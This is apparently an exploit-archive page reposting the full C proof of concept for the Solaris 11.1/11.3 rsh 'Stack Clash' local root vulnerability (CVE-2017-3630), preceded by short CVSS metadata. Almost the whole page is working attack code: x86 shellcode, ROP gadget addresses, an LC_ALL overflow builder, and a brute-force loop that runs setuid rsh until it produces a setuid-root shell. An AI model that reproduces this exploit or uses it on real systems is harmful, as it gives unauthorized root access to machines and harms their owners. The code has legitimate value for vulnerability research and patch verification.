Oracle Solaris 11.1 / 11.3 RSH Local Root Stack Clash Exploit
CVE
Category
Price
Severity
CVE-2017-3630
CWE-119
Not specified
High
Author
Risk
Exploitation Type
Date
Adam Privitera
High
Local
2017-06-29
CPE
cpe:cpe:/o:oracle:solaris:11.1::::::rpath:11.1|rpath:11.3
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017060223 Below is a copy:
Oracle Solaris 11.1 / 11.3 RSH Local Root Stack Clash Exploit /*
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef timersub
#define timersub(a, b, result) \
do { \
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
if ((result)->tv_usec < 0) { \
--(result)->tv_sec; \
(result)->tv_usec += 1000000; \
} \
} while (0)
#endif
#define RSH "/usr/bin/rsh"
static const struct target * target;
static const struct target {
const char * name;
size_t s_first, s_last, s_step;
size_t l_first, l_last, l_step;
size_t p_first, p_last, p_step;
size_t a, b;
size_t i, j;
} targets[] = {
{
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 192, .l_last = 512, .l_step = 16,
.p_first = 0, .p_last = 8192, .p_step = 1,
.a = 0, .b = 15, .j = 12,
.i = 0x08052608 /* pop edx; pop ebp; ret */
},
{
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
.l_first = 96, .l_last = 512, .l_step = 4,
.p_first = 0, .p_last = 4096, .p_step = 4,
.a = 0, .b = 3, .j = SIZE_MAX,
.i = 0x07faa7ea /* call *0xc(%ebp) */
},
};
#define ROOTSHELL "ROOT"
static const char shellcode[] =
"\x31\xc0\x50\x68ROOT"
"\x89\xe3\x50\x53\x89\xe2\x50\x50"
"\x52\x53\xb0\x3C\x48\x50\xcd\x91"
"\x31\xc0\x40\x50\x50\xcd\x91Z";
static volatile sig_atomic_t sigalarm;
static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
sigalarm = 1;
}
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static int
is_suid_root(const char * const file)
{
if (!file) die();
static struct stat sbuf;
if (stat(file, &sbuf)) die();
if (!S_ISREG(sbuf.st_mode)) die();
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}
static const char *
build_lca(const size_t l)
{
static const size_t shellcode_len = sizeof(shellcode)-1;
if (shellcode_len > 64) die();
if (shellcode_len % 16) die();
if (l < shellcode_len + target->a + target->b) die();
#define LCA_MAX 4096
if (l > LCA_MAX) die();
static char lca[128 + LCA_MAX];
strcpy(lca, "LC_ALL=");
char * cp = memchr(lca, '\0', sizeof(lca));
if (!cp) die();
memcpy(cp, shellcode, shellcode_len);
cp += shellcode_len;
memset(cp, 'a', target->a);
size_t o;
for (o = target->a; l - o >= 4; o += 4) {
if ((o - target->a) % 16 == target->j) {
cp[o + 0] = '\xeb';
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
-(shellcode_len + target->a + target->j + 2);
cp[o + 2] = 'j';
cp[o + 3] = 'j';
} else {
if (sizeof(size_t) != 4) die();
*(size_t *)(cp + o) = target->i;
}
}
cp += o;
memset(cp, 'b', target->b);
cp[target->b] = '\0';
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
return lca;
}
static const char *
build_pad(const size_t p)
{
#define PAD_MAX 8192
if (p > PAD_MAX) die();
static char pad[64 + PAD_MAX];
strcpy(pad, "P=");
char * const cp = memchr(pad, '\0', sizeof(pad));
if (!cp) die();
memset(cp, 'p', p);
cp[p] = '\0';
if (strlen(pad) != 2 + p) die();
return pad;
}
static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
#define N_WORKERS 2
static size_t n_workers;
static struct {
pid_t pid;
struct timeval start;
} workers[N_WORKERS];
size_t i_worker;
struct timeval start, stop, diff;
if (n_workers >= N_WORKERS) {
if (n_workers != N_WORKERS) die();
int is_suid_rootshell = 0;
for (;;) {
sigalarm = 0;
#define TIMEOUT 10
alarm(TIMEOUT);
int status = 0;
const pid_t pid = waitpid(-1, &status, WUNTRACED);
alarm(0);
if (gettimeofday(&stop, NULL)) die();
if (pid <= 0) {
if (pid != -1) die();
if (errno != EINTR) die();
if (sigalarm != 1) die();
}
int found_pid = 0;
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid <= 0) die();
if (worker_pid == pid) {
if (found_pid) die();
found_pid = 1;
if (WIFEXITED(status) || WIFSIGNALED(status))
workers[i_worker].pid = 0;
} else {
timersub(&stop, &workers[i_worker].start, &diff);
if (diff.tv_sec >= TIMEOUT)
if (kill(worker_pid, SIGKILL)) die();
}
}
if (!found_pid) {
if (pid != -1) die();
continue;
}
if (WIFEXITED(status)) {
if (WEXITSTATUS(status) != EXIT_FAILURE)
fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
break;
} else if (WIFSIGNALED(status)) {
if (WTERMSIG(status) != SIGSEGV)
fprintf(stderr, "signal %d\n", WTERMSIG(status));
break;
} else if (WIFSTOPPED(status)) {
fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
is_suid_rootshell |= is_suid_root(ROOTSHELL);
if (kill(pid, SIGKILL)) die();
continue;
}
fprintf(stderr, "unknown %d\n", status);
die();
}
if (is_suid_rootshell) {
system("ls -lL " ROOTSHELL);
exit(EXIT_SUCCESS);
}
n_workers--;
}
if (n_workers >= N_WORKERS) die();
static char rsh_link[64];
if (*rsh_link != '/') {
const int rsh_fd = open(RSH, O_RDONLY);
if (rsh_fd <= STDERR_FILENO) die();
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
if (access(rsh_link, R_OK | X_OK)) die();
if (*rsh_link != '/') die();
}
static int null_fd = -1;
if (null_fd <= -1) {
null_fd = open("/dev/null", O_RDWR);
if (null_fd <= -1) die();
}
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
const struct rlimit stack = { s, s };
if (setrlimit(RLIMIT_STACK, &stack)) die();
if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
static char * const argv[] = { rsh_link, "-?", NULL };
char * const envp[] = { (char *)lca, (char *)pad, NULL };
execve(*argv, argv, envp);
die();
}
if (gettimeofday(&start, NULL)) die();
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
const pid_t worker_pid = workers[i_worker].pid;
if (worker_pid > 0) continue;
if (worker_pid != 0) die();
workers[i_worker].pid = pid;
workers[i_worker].start = start;
n_workers++;
return;
}
die();
}
int
main(const int argc, const char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
if (geteuid() == 0) {
if (is_suid_root(ROOTSHELL)) {
if (setuid(0)) die();
if (setgid(0)) die();
static char * const argv[] = { "/bin/sh", NULL };
execve(*argv, argv, NULL);
die();
}
chown(*argv, 0, 0);
chmod(*argv, 04555);
for (;;) {
raise(SIGSTOP);
sleep(1);
}
die();
}
if (symlink(*argv, ROOTSHELL)) {
if (errno != EEXIST) die();
}
if (argc != 2) {
fprintf(stderr, "Usage: %s target\n", *argv);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
fprintf(stderr, "Target %zu %s\n", i, target->name);
}
if (target->a >= 16) die();
if (target->b >= 16) die();
if (target->i <= 0) die();
if (target->j >= 16 || target->j % 4) {
if (target->j != SIZE_MAX) die();
}
static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();
size_t s;
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
if (s % target->s_step) die();
size_t l;
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
if (l % target->l_step) die();
const char * const lca = build_lca(l);
fprintf(stderr, "s %zu l %zu\n", s, l);
size_t p;
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
if (p % target->p_step) die();
const char * const pad = build_pad(p);
fork_worker(s, lca, pad);
}
}
}
fprintf(stderr, "Please try again\n");
die();
}
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